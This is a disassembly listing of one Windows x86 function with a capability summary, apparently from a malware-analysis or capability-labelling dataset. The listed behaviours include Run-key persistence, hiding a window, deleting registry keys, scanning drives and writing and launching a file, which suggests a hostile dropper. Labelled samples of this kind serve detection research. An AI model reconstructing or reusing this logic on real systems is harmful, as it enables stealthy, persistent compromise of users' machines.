Function at 0x410c80
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Hide graphical window
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2f
push 0
push 0
dec ecx
jne 0x410c88
push ebx
push esi
push edi
mov esi, 0x415adc
mov edi, 0x415b14
mov ebx, 0x415b5b
xor eax, eax
push ebp
push 0x41226b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, 0x412284
call fcn.00403780
cmp byte [0x415b5c], 0x66
jne 0x410d13
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x4122ec
mov edx, 0x4122fc
mov eax, 0x80000002
call fcn.00406898
mov edx, dword [ebp - 4]
mov eax, 0x415ae8
call fcn.00403780
cmp byte [0x415b59], 0
jne 0x410d13
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x415ae8]
call fcn.00406738
mov byte [ebx], al
mov edx, 0x4122fc
mov ecx, 0x4122ec
mov eax, 0x80000002
call fcn.00406d60
lea eax, [ebp - 8]
call fcn.004065dc
mov edx, dword [ebp - 8]
mov eax, 0x415ad8
call fcn.00403780
lea eax, [ebp - 0xc]
call fcn.00406648
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403780
mov eax, 0x415ae0
mov ecx, 0x412344
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [0x415ae8]
call fcn.004038a4
test eax, eax
jne 0x410d7e
mov eax, 0x415ae8
mov ecx, 0x412354
mov edx, dword [esi]
call fcn.004038f0
mov eax, 0x4141e4
mov ecx, dword [0x4141e4]
mov edx, dword [esi]
call fcn.004038f0
mov eax, 0x415ad0
mov ecx, 0x412364
mov edx, dword [0x4141e4]
call fcn.004038f0
mov eax, 0x415ad4
mov ecx, 0x412378
mov edx, dword [0x4141e4]
call fcn.004038f0
xor eax, eax
mov dword [0x415b60], eax
call fcn.004131d0
mov eax, edi
mov edx, 0x41238c
call fcn.00403780
cmp byte [0x415b59], 0
je 0x411008
mov eax, 0x4123f0
call fcn.00405c68
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.004067b8
lea eax, [ebp - 0x10]
mov ecx, 0x412408
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x10]
call fcn.00405b1c
lea eax, [ebp - 0x14]
mov ecx, 0x41241c
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x14]
call fcn.00405b1c
mov eax, dword [0x415ad0]
call fcn.00405b1c
mov ecx, 0x412354
mov edx, 0x412430
mov eax, 0x80000002
call fcn.00406d60
mov ecx, 0x412354
mov edx, 0x412468
mov eax, 0x80000002
call fcn.00406d60
mov ecx, 0x412354
mov edx, 0x4124a8
mov eax, 0x80000001
call fcn.00406d60
mov edx, 0x412430
mov ecx, 0x4124f0
mov eax, 0x80000001
call fcn.00406d60
mov edx, 0x4124a8
mov ecx, 0x412500
mov eax, 0x80000002
call fcn.00406d60
lea eax, [ebp - 0x18]
mov ecx, 0x412510
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x18]
call fcn.00405b1c
lea eax, [ebp - 0x1c]
mov ecx, 0x412524
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x1c]
call fcn.00405b1c
lea eax, [ebp - 0x20]
mov ecx, 0x412538
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x20]
call fcn.00405b1c
lea eax, [ebp - 0x24]
mov ecx, 0x41254c
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x24]
call fcn.00405b1c
lea eax, [ebp - 0x28]
mov ecx, 0x412560
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x28]
call fcn.00405b1c
lea eax, [ebp - 0x2c]
mov ecx, 0x412574
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x2c]
call fcn.00405b1c
lea eax, [ebp - 0x30]
mov ecx, 0x412588
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x30]
call fcn.00405b1c
push 0x412594
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x4125c0
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x412608
call fcn.0040f91c
mov eax, 0x412614
call fcn.0040f91c
mov eax, 0x412620
call fcn.0040f91c
mov eax, edi
mov edx, 0x412284
call fcn.00403780
mov eax, dword [0x415ad4]
call fcn.00405b1c
push 0x200040
push 0x412624
push 0x41263c
lea edx, [ebp - 0x38]
mov eax, 0x83
call fcn.00405420
push dword [ebp - 0x38]
push 0x412650
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x34]
call fcn.00403aa4
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x4123f0
lea eax, [ebp - 0x3c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x3c]
call fcn.00403aa4
push eax
push 0x412668
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00405b74
jmp 0x41224d
push 0
mov eax, dword [0x4141e4]
call fcn.00403aa4
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x415b58]
cmp byte [0x415b58], 0
je 0x411042
call fcn.0040604c
mov eax, edi
mov edx, 0x412284
call fcn.00403780
mov eax, dword [0x41424c]
push eax
mov edx, 0x4122fc
mov ecx, 0x4126d4
mov eax, 0x80000002
call fcn.004067e4
push eax
call fcn.00405678
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x41224d
lea edx, [ebp - 0x40]
mov eax, dword [0x415ae8]
call fcn.004056a8
mov edx, dword [ebp - 0x40]
mov eax, 0x415aec
call fcn.00403780
call fcn.0040278c
lea edx, [ebp - 0x44]
mov eax, 0x4126e0
call fcn.00406100
mov edx, dword [ebp - 0x44]
mov eax, 0x415b18
call fcn.00403780
mov eax, 0x415ae4
mov edx, 0x412710
call fcn.00403780
lea eax, [ebp - 0x4c]
mov ecx, dword [0x415ae4]
mov edx, 0x41272c
call fcn.004038f0
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.00406100
mov edx, dword [ebp - 0x48]
mov eax, 0x415b1c
call fcn.00403780
push 1
push 0x96
push 0x222e1
mov ecx, 0x412510
lea eax, [ebp - 0x50]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x415ae8]
call fcn.0040586c
mov byte [ebx], al
mov ecx, 0x412510
lea eax, [ebp - 0x54]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x54]
call fcn.00406738
mov byte [ebx], al
mov eax, edi
mov edx, 0x412740
call fcn.00403780
mov eax, dword [0x41424c]
push eax
mov edx, 0x4122fc
mov ecx, 0x4127a8
mov eax, 0x80000002
call fcn.004067e4
mov dword [0x415b50], eax
cmp dword [0x415b50], 0x83
jge 0x411256
cmp byte [ebx], 0
jne 0x4111c6
mov ecx, 0x412510
lea eax, [ebp - 0x58]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x58]
mov eax, dword [0x415ae8]
call fcn.004039f0
je 0x4111c6
mov eax, 0x412510
call fcn.00405c68
push 1
push 0x96
push 0x222e1
mov ecx, 0x412510
lea eax, [ebp - 0x5c]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x5c]
mov cl, 1
mov eax, dword [0x415ae8]
call fcn.0040586c
mov byte [ebx], al
mov eax, edi
mov edx, 0x4127b8
call fcn.00403780
cmp byte [ebx], 0
je 0x411256
push 0x83
mov ecx, 0x4127a8
mov edx, 0x4122fc
mov eax, 0x80000002
call fcn.00406a5c
mov byte [ebx], al
cmp dword [0x415b50], 0
jle 0x41121c
lea edx, [ebp - 0x60]
mov eax, dword [0x415b50]
call fcn.00405420
mov ecx, dword [ebp - 0x60]
mov eax, 0x415ae4
mov edx, 0x412818
call fcn.004038f0
jmp 0x411226
mov eax, 0x415ae4
call fcn.0040372c
push 0x412828
lea edx, [ebp - 0x68]
mov eax, 0x83
call fcn.00405420
push dword [ebp - 0x68]
push dword [0x415ae4]
lea eax, [ebp - 0x64]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x64]
call fcn.0041328c
mov eax, edi
mov edx, 0x412740
call fcn.00403780
call fcn.00407228
push 1
push 0x96
push 0x222e1
mov ecx, 0x412524
lea eax, [ebp - 0x6c]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [0x415ae8]
call fcn.0040586c
mov byte [ebx], al
mov ecx, 0x412524
lea eax, [ebp - 0x70]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x70]
call fcn.00406738
mov byte [ebx], al
push 1
push 0x96
push 0x222e1
mov ecx, 0x412538
lea eax, [ebp - 0x74]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x74]
xor ecx, ecx
mov eax, dword [0x415ae8]
call fcn.0040586c
mov byte [ebx], al
mov ecx, 0x412538
lea eax, [ebp - 0x78]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x78]
call fcn.00406738
mov byte [ebx], al
mov ecx, 0x412574
lea eax, [ebp - 0x7c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x7c]
call fcn.00405900
test al, al
jne 0x411392
push 1
push 0
push 0x222e1
mov ecx, 0x412574
lea eax, [ebp - 0x80]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x80]
push eax
mov ecx, 0x41254c
lea eax, [ebp - 0x84]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x84]
xor ecx, ecx
pop edx
call fcn.0040586c
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x412588
lea eax, [ebp - 0x88]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x88]
push eax
mov ecx, 0x412560
lea eax, [ebp - 0x8c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
pop edx
call fcn.0040586c
mov byte [ebx], al
mov ecx, 0x41254c
lea eax, [ebp - 0x90]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x90]
call fcn.00405900
test al, al
jne 0x41143f
push 1
push 0
push 0x222e1
mov ecx, 0x41254c
lea eax, [ebp - 0x94]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x94]
push eax
mov ecx, 0x412574
lea eax, [ebp - 0x98]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x98]
xor ecx, ecx
pop edx
call fcn.0040586c
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x412560
lea eax, [ebp - 0x9c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, 0x412588
lea eax, [ebp - 0xa0]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
pop edx
call fcn.0040586c
mov byte [ebx], al
mov eax, dword [0x415ae8]
call fcn.00406738
mov byte [ebx], al
mov ecx, 0x41254c
lea eax, [ebp - 0xa4]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xa4]
call fcn.00406738
mov byte [ebx], al
mov ecx, 0x412560
lea eax, [ebp - 0xa8]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xa8]
call fcn.00406738
mov byte [ebx], al
mov ecx, 0x412574
lea eax, [ebp - 0xac]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xac]
call fcn.00406738
mov byte [ebx], al
mov ecx, 0x412588
lea eax, [ebp - 0xb0]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xb0]
call fcn.00406738
mov byte [ebx], al
mov eax, edi
mov edx, 0x41283c
call fcn.00403780
call fcn.0040e3fc
mov eax, 0x412608
call fcn.0040ead8
mov eax, edi
mov edx, 0x4128a0
call fcn.00403780
mov eax, 0x412614
call fcn.0040ead8
mov eax, 0x412620
call fcn.0040ead8
mov eax, 0x412904
call fcn.0040ead8
mov eax, edi
mov edx, 0x412910
call fcn.00403780
push 0
push 0
push 0x415b54
mov ecx, 0x407894
xor edx, edx
xor eax, eax
call fcn.004036e8
push 0
push 0
push 0x415b54
mov ecx, 0x406f4c
xor edx, edx
xor eax, eax
call fcn.004036e8
mov ecx, 0x412510
mov eax, 0x415ae4
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [0x415ae4]
mov edx, dword [0x415ae8]
call fcn.004039f0
je 0x4115b3
mov ecx, 0x412524
lea eax, [ebp - 0xb4]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xb4]
mov edx, dword [0x415ae8]
call fcn.004039f0
je 0x4115b3
mov ecx, 0x412538
lea eax, [ebp - 0xb8]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xb8]
mov edx, dword [0x415ae8]
call fcn.004039f0
jne 0x4115bf
mov eax, 0x415ae4
call fcn.0040372c
jmp 0x4115d4
mov eax, 0x415ae4
mov ecx, dword [0x415ae8]
mov edx, 0x412940
call fcn.004038f0
mov al, byte [0x415b5c]
sub al, 0x64
je 0x4115e7
dec al
je 0x4115fe
dec al
je 0x411615
jmp 0x41162a
mov eax, 0x415ae4
mov ecx, dword [0x415ae4]
mov edx, 0x41294c
call fcn.004038f0
jmp 0x41162a
mov eax, 0x415ae4
mov ecx, dword [0x415ae4]
mov edx, 0x412958
call fcn.004038f0
jmp 0x41162a
mov eax, 0x415ae4
mov ecx, dword [0x415ae4]
mov edx, 0x412964
call fcn.004038f0
lea eax, [ebp - 0xbc]
mov ecx, dword [0x415ae4]
mov edx, 0x412974
call fcn.004038f0
mov eax, dword [ebp - 0xbc]
call fcn.0041328c
mov ecx, 0x4122fc
mov eax, 0x415b74
mov edx, 0x80000002
call fcn.00406bb8
test al, al
jne 0x41168a
mov ecx, 0x4122fc
mov eax, 0x415b74
mov edx, 0x80000002
call fcn.00406bb8
test al, al
jne 0x41168a
mov eax, 0x412984
call fcn.0041328c
jmp 0x41224d
mov eax, edi
mov edx, 0x4128a0
call fcn.00403780
push dword [esi]
push 0x41299c
push 0x4129ac
mov eax, 0x415b04
mov edx, 3
call fcn.00403964
mov eax, dword [0x415b04]
call fcn.00405900
test al, al
jne 0x41172b
push 1
push 0x96
push 0x222e1
lea eax, [ebp - 0xc0]
mov ecx, 0x4129bc
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xc0]
mov cl, 1
mov edx, dword [0x415b04]
call fcn.0040586c
test al, al
je 0x411717
lea eax, [ebp - 0xc4]
mov ecx, dword [0x415b04]
mov edx, 0x4129d4
call fcn.004038f0
mov eax, dword [ebp - 0xc4]
call fcn.0041328c
jmp 0x41172b
mov eax, 0x4129f0
call fcn.0041328c
mov eax, 0x415b04
call fcn.0040372c
mov eax, edi
mov edx, 0x41238c
call fcn.00403780
mov eax, dword [0x415b04]
call fcn.004038a4
test eax, eax
jle 0x41192b
mov eax, 0x415b0c
mov ecx, 0x412a00
mov edx, dword [esi]
call fcn.004038f0
mov eax, 0x415b08
mov edx, 0x412a14
call fcn.00403780
lea eax, [ebp - 0xc8]
mov ecx, 0x412a28
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xc8]
call fcn.00405900
test al, al
je 0x41179d
mov eax, 0x415b08
mov edx, 0x412a38
call fcn.004038ac
lea eax, [ebp - 0xcc]
mov ecx, 0x412a48
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xcc]
call fcn.00405900
test al, al
je 0x4117d1
mov eax, 0x415b08
mov edx, 0x412a58
call fcn.004038ac
lea eax, [ebp - 0xd0]
mov ecx, 0x412a68
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd0]
call fcn.00405900
test al, al
je 0x411805
mov eax, 0x415b08
mov edx, 0x412a78
call fcn.004038ac
lea eax, [ebp - 0xd4]
mov ecx, 0x412a88
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd4]
call fcn.00405900
test al, al
je 0x411839
mov eax, 0x415b08
mov edx, 0x412a98
call fcn.004038ac
lea eax, [ebp - 0xd8]
mov ecx, 0x412aa8
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd8]
call fcn.00405900
test al, al
je 0x41186d
mov eax, 0x415b08
mov edx, 0x412ab8
call fcn.004038ac
lea eax, [ebp - 0xdc]
mov ecx, 0x412ac8
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xdc]
call fcn.00405900
test al, al
je 0x4118a1
mov eax, 0x415b08
mov edx, 0x412ad8
call fcn.004038ac
lea eax, [ebp - 0xe0]
mov ecx, 0x412ae8
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xe0]
call fcn.00405900
test al, al
je 0x4118d5
mov eax, 0x415b08
mov edx, 0x412af8
call fcn.004038ac
mov eax, dword [0x415b08]
mov edx, 0x412b08
call fcn.004039f0
jne 0x4118f2
mov eax, 0x412b38
call fcn.0041328c
jmp 0x411913
lea eax, [ebp - 0xe4]
mov ecx, dword [0x415b08]
mov edx, 0x412b48
call fcn.004038f0
mov eax, dword [ebp - 0xe4]
call fcn.0041328c
push 0
mov ecx, 0x412b58
mov edx, 0x412b68
mov eax, 0x80000001
call fcn.00406a5c
jmp 0x411935
mov eax, 0x415b08
call fcn.0040372c
cmp byte [0x415b58], 0
jne 0x411989
push 0x1f40
call sub.kernel32.dll_Sleep
push 0x412b80
push 0
call sub.user32.dll_FindWindowA
mov dword [0x415b54], eax
cmp dword [0x415b54], 0
jne 0x411973
push 0x412b98
push 0
call sub.user32.dll_FindWindowA
mov dword [0x415b54], eax
cmp dword [0x415b54], 0
jbe 0x411989
push 0
mov eax, dword [0x415b54]
push eax
call sub.user32.dll_ShowWindow
mov eax, 0x415ae4
mov edx, 0x412bb8
call fcn.00403780
lea edx, [ebp - 0xec]
mov eax, 0x412bfc
call fcn.00406100
mov ecx, dword [ebp - 0xec]
lea eax, [ebp - 0xe8]
mov edx, dword [0x415ae8]
call fcn.004038f0
mov eax, dword [ebp - 0xe8]
push eax
lea eax, [ebp - 0xf8]
mov ecx, 0x412c20
mov edx, dword [0x415ae4]
call fcn.004038f0
mov eax, dword [ebp - 0xf8]
lea edx, [ebp - 0xf4]
call fcn.00406100
mov ecx, dword [ebp - 0xf4]
lea eax, [ebp - 0xf0]
mov edx, 0x412c44
call fcn.004038f0
mov edx, dword [ebp - 0xf0]
mov ecx, dword [0x415ae8]
mov eax, 0x80000002
call fcn.0040696c
mov eax, edi
mov edx, 0x412c70
call fcn.00403780
mov eax, dword [0x41424c]
push eax
mov edx, 0x4122fc
mov ecx, 0x412cd8
mov eax, 0x80000002
call fcn.004067e4
mov dword [0x415b38], eax
mov eax, dword [0x41424c]
push eax
mov edx, 0x4122fc
mov ecx, 0x412ce8
mov eax, 0x80000002
call fcn.004067e4
mov dword [0x415b48], eax
cmp dword [0x415b48], 0x64
jge 0x411c3b
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x100]
push eax
mov edx, 0x4122fc
mov ecx, 0x412cf8
mov eax, 0x80000002
call fcn.00406898
mov eax, dword [ebp - 0x100]
lea edx, [ebp - 0xfc]
call fcn.004054a4
mov edx, dword [ebp - 0xfc]
mov eax, 0x415afc
call fcn.00403780
mov eax, dword [0x415afc]
call fcn.004038a4
test eax, eax
je 0x411ad2
mov eax, dword [0x415afc]
mov al, byte [eax]
add al, 0x9f
sub al, 0x1a
jb 0x411ae1
mov eax, 0x415afc
mov edx, 0x412d08
call fcn.00403780
push 0x100002
mov eax, 0x415c6c
mov ecx, 1
mov edx, dword [0x406f2c]
call fcn.00404230
add esp, 4
mov eax, dword [0x415afc]
mov bl, byte [eax]
cmp bl, 0x63
jb 0x411c17
lea eax, [ebp - 0x104]
mov edx, ebx
call fcn.0040384c
lea eax, [ebp - 0x104]
mov edx, 0x412d14
call fcn.004038ac
mov eax, dword [ebp - 0x104]
call fcn.00403aa4
push eax
call sub.kernel32.dll_GetDriveTypeA
add eax, 0xfffffffe
sub eax, 3
jb 0x411b4d
sub eax, 1
jne 0x411c06
xor eax, eax
mov dword [0x415b3c], eax
lea eax, [ebp - 0x108]
mov edx, ebx
call fcn.0040384c
lea eax, [ebp - 0x108]
mov edx, 0x412d14
call fcn.004038ac
mov eax, dword [ebp - 0x108]
call fcn.0040b2a4
lea eax, [ebp - 0x110]
mov edx, ebx
call fcn.0040384c
mov ecx, dword [ebp - 0x110]
lea eax, [ebp - 0x10c]
mov edx, 0x412d20
call fcn.004038f0
mov eax, dword [ebp - 0x10c]
call fcn.0041328c
mov eax, edi
mov edx, 0x412d34
call fcn.00403780
lea eax, [ebp - 0x114]
xor edx, edx
mov dl, bl
dec edx
call fcn.0040384c
mov eax, dword [ebp - 0x114]
push eax
mov ecx, 0x412cf8
mov edx, 0x4122fc
mov eax, 0x80000002
call fcn.0040696c
push 0
mov ecx, 0x412cd8
mov edx, 0x4122fc
mov eax, 0x80000002
call fcn.00406a5c
cmp bl, 0x63
jne 0x411c06
mov eax, 0x412da0
call fcn.0041328c
xor eax, eax
mov dword [0x415b38], eax
dec ebx
cmp bl, 0x62
jne 0x411b0e
mov dword [0x415b48], 0x64
mov eax, dword [0x415b48]
push eax
mov ecx, 0x412ce8
mov edx, 0x4122fc
mov eax, 0x80000002
call fcn.00406a5c
mov eax, edi
mov edx, 0x412740
call fcn.00403780
cmp dword [0x415b48], 0xc8
jge 0x411cf7
cmp byte [0x415b5c], 0x66
jne 0x411c67
mov byte [0x4141d8], 0
xor eax, eax
mov dword [0x415b40], eax
mov eax, edi
mov edx, 0x412db4
call fcn.00403780
mov eax, dword [0x41424c]
push eax
mov edx, 0x4122fc
mov ecx, 0x412e20
mov eax, 0x80000002
call fcn.004067e4
mov dword [0x415b44], eax
push 0x100002
mov eax, 0x415c6c
mov ecx, 1
mov edx, dword [0x406f2c]
call fcn.00404230
add esp, 4
xor eax, eax
call fcn.0040bafc
mov dword [0x415b48], 0xc8
mov eax, dword [0x415b48]
push eax
mov ecx, 0x412ce8
mov edx, 0x4122fc
mov eax, 0x80000002
call fcn.00406a5c
mov eax, 0x412e30
call fcn.0041328c
mov eax, edi
mov edx, 0x412e48
call fcn.00403780
push 0
mov eax, 0x415c6c
mov ecx, 1
mov edx, dword [0x406f2c]
call fcn.00404230
add esp, 4
mov eax, edi
mov edx, 0x412d34
call fcn.00403780
mov eax, 0x415b74
call fcn.00406c2c
mov eax, dword [0x415aec]
call fcn.004038a4
test eax, eax
jne 0x411d79
lea edx, [ebp - 0x118]
mov eax, dword [0x415ae8]
call fcn.004056a8
mov edx, dword [ebp - 0x118]
mov eax, 0x415aec
call fcn.00403780
mov eax, dword [0x415aec]
call fcn.004038a4
test eax, eax
jne 0x411d79
call fcn.00409b08
jmp 0x41224d
cmp byte [0x415b5c], 0x64
jne 0x411d8c
call fcn.00413114
call fcn.004035c0
mov byte [0x4141d8], 0
mov eax, dword [0x41424c]
push eax
mov edx, 0x4122fc
mov ecx, 0x412f08
mov eax, 0x80000002
call fcn.004067e4
dec eax
je 0x411e5c
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [0x415ad0]
call fcn.00403aa4
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x415b64], eax
push 2
push 0
push 0
mov eax, dword [0x415b64]
push eax
call sub.kernel32.dll_SetFilePointer_1
lea eax, [ebp - 0x11c]
call fcn.00407b58
mov edx, dword [ebp - 0x11c]
mov eax, 0x415ae4
call fcn.00403780
push 0
push 0x415b54
mov eax, dword [0x415ae4]
call fcn.004038a4
push eax
mov eax, 0x415ae4
call fcn.00403afc
push eax
mov eax, dword [0x415b64]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [0x415b64]
push eax
call sub.kernel32.dll_CloseHandle_1
push 1
mov ecx, 0x412f08
mov edx, 0x4122fc
mov eax, 0x80000002
call fcn.00406a5c
mov eax, edi
mov edx, 0x41283c
call fcn.00403780
mov eax, edi
mov edx, 0x412db4
call fcn.00403780
push 0xea60
call sub.kernel32.dll_Sleep
lea edx, [ebp - 0x120]
mov al, 1
call fcn.004054e0
mov ecx, dword [ebp - 0x120]
mov eax, 0x415af8
mov edx, 0x412f18
call fcn.004038f0
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x411ea7
jmp dword [eax*4 + 0x411eae]
lea edx, [ebp - 0x124]
mov eax, 0x412f2c
call fcn.00406100
mov edx, dword [ebp - 0x124]
mov eax, 0x415af4
call fcn.00403780
jmp 0x411fbb
lea edx, [ebp - 0x128]
mov eax, 0x412f44
call fcn.00406100
mov edx, dword [ebp - 0x128]
mov eax, 0x415af4
call fcn.00403780
jmp 0x411fbb
lea edx, [ebp - 0x12c]
mov eax, 0x412f5c
call fcn.00406100
mov edx, dword [ebp - 0x12c]
mov eax, 0x415af4
call fcn.00403780
jmp 0x411fbb
lea edx, [ebp - 0x130]
mov eax, 0x412f74
call fcn.00406100
mov edx, dword [ebp - 0x130]
mov eax, 0x415af4
call fcn.00403780
jmp 0x411fbb
lea edx, [ebp - 0x134]
mov eax, 0x412f8c
call fcn.00406100
mov edx, dword [ebp - 0x134]
mov eax, 0x415af4
call fcn.00403780
jmp 0x411fbb
lea edx, [ebp - 0x138]
mov eax, 0x412fa8
call fcn.00406100
mov edx, dword [ebp - 0x138]
mov eax, 0x415af4
call fcn.00403780
jmp 0x411fbb
lea edx, [ebp - 0x13c]
mov eax, 0x412fc0
call fcn.00406100
mov edx, dword [ebp - 0x13c]
mov eax, 0x415af4
call fcn.00403780
mov eax, edi
mov edx, 0x412fd8
call fcn.00403780
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x411fda
jmp dword [eax*4 + 0x411fe1]
lea edx, [ebp - 0x140]
mov eax, 0x413044
call fcn.00406100
mov edx, dword [ebp - 0x140]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4120ee
lea edx, [ebp - 0x144]
mov eax, 0x413060
call fcn.00406100
mov edx, dword [ebp - 0x144]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4120ee
lea edx, [ebp - 0x148]
mov eax, 0x41307c
call fcn.00406100
mov edx, dword [ebp - 0x148]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4120ee
lea edx, [ebp - 0x14c]
mov eax, 0x413098
call fcn.00406100
mov edx, dword [ebp - 0x14c]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4120ee
lea edx, [ebp - 0x150]
mov eax, 0x4130b4
call fcn.00406100
mov edx, dword [ebp - 0x150]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4120ee
lea edx, [ebp - 0x154]
mov eax, 0x4130cc
call fcn.00406100
mov edx, dword [ebp - 0x154]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4120ee
lea edx, [ebp - 0x158]
mov eax, 0x4130e8
call fcn.00406100
mov edx, dword [ebp - 0x158]
mov eax, 0x415af0
call fcn.00403780
mov ecx, 0x412408
lea eax, [ebp - 0x15c]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x15c]
mov eax, dword [0x415ad0]
call fcn.00410368
test al, al
je 0x41213a
mov ecx, 0x41241c
lea eax, [ebp - 0x160]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x160]
mov eax, dword [0x415ad4]
call fcn.00410368
test al, al
jne 0x412144
call fcn.00413114
jmp 0x41224d
call fcn.00406284
mov ecx, 0x412408
lea eax, [ebp - 0x164]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x164]
call fcn.0040c4d0
test al, al
je 0x41218c
mov ecx, 0x41241c
lea eax, [ebp - 0x168]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x168]
call fcn.0040c4d0
jmp 0x41224d
call fcn.00406284
mov ecx, 0x412408
lea eax, [ebp - 0x16c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x16c]
call fcn.0040c4d0
test al, al
je 0x4121d1
mov ecx, 0x41241c
lea eax, [ebp - 0x170]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x170]
call fcn.0040c4d0
jmp 0x41224d
call fcn.00406284
mov ecx, 0x412408
lea eax, [ebp - 0x174]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x174]
call fcn.0040c4d0
test al, al
je 0x412216
mov ecx, 0x41241c
lea eax, [ebp - 0x178]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x178]
call fcn.0040c4d0
jmp 0x41224d
call fcn.00406284
call fcn.0040d260
test al, al
jne 0x41224d
call fcn.00406284
call fcn.0040da00
test al, al
jne 0x41224d
call fcn.0040d260
mov eax, 0x413104
call fcn.0041328c
mov eax, edi
mov edx, 0x412db4
call fcn.00403780
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412272
lea eax, [ebp - 0x178]
mov edx, 0x5e
call fcn.00403750
ret